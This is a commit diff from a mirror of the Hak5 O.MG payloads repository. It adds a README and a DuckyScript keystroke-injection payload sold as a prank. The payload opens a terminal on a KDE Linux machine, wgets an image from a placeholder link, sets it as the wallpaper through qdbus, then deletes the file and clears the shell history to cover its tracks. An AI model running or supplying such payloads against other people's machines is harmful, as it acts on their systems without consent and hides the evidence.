mirror of https://github.com/hak5/omg-payloads.git
commit
dd59cd80fc
|
@ -0,0 +1,27 @@
|
||||||
|
# Change Desktop Wallpaper - Linux ✅
|
||||||
|
|
||||||
|
A script used to prank your friends changing their desktop wallpaper.
|
||||||
|
|
||||||
|
**Category**: Prank
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
A script used to prank your friends changing their desktop wallpaper.
|
||||||
|
|
||||||
|
Opens a shell, download the image, define the local image path, run a command KDE BASED that will replace the desktop wallpaper with the local image path, then delete the image downloaded, clear the history and close the shell.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
### Dependencies
|
||||||
|
|
||||||
|
* Internet Connection
|
||||||
|
* Linux KDE
|
||||||
|
|
||||||
|
### Executing program
|
||||||
|
|
||||||
|
* Plug in your device
|
||||||
|
|
||||||
|
### Settings
|
||||||
|
|
||||||
|
- Image link
|
||||||
|
- Local image path
|
|
@ -0,0 +1,32 @@
|
||||||
|
REM ###########################################
|
||||||
|
REM # |
|
||||||
|
REM # Title : Change Desktop Wallpaper |
|
||||||
|
REM # Author : Aleff |
|
||||||
|
REM # Version : 1.0 |
|
||||||
|
REM # Category : Prank |
|
||||||
|
REM # Target : Linux (KDE based) |
|
||||||
|
REM # |
|
||||||
|
REM ###########################################
|
||||||
|
|
||||||
|
REM Requirements:
|
||||||
|
REM - Internet Connection
|
||||||
|
|
||||||
|
REM Replace 'example.com/IMAGE_NAME' with your image link
|
||||||
|
DEFINE IMAGE_LINK example.com/IMAGE_NAME
|
||||||
|
|
||||||
|
REM Replace example.jpg with the image path, for example /home/USERNAME/example.jpg
|
||||||
|
DEFINE IMAGE_PATH="file://example.jpg"
|
||||||
|
|
||||||
|
DELAY 1000
|
||||||
|
CTRL ALT t
|
||||||
|
DELAY 2000
|
||||||
|
|
||||||
|
STRINGLN wget IMAGE_LINK
|
||||||
|
|
||||||
|
REM It depends by the Internet Connection
|
||||||
|
DELAY 2000
|
||||||
|
|
||||||
|
STRINGLN qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript 'var allDesktops = desktops();for (i=0;i<allDesktops.length;i++) {d = allDesktops[i]; d.wallpaperPlugin = "org.kde.image";d.currentConfigGroup = Array("Wallpaper", "org.kde.image", "General");d.writeConfig("Image", "IMAGE_PATH")}'
|
||||||
|
DELAY 1000
|
||||||
|
|
||||||
|
STRINGLN rm -rf IMAGE_PATH;history -c; exit;
|
Loading…
Reference in New Issue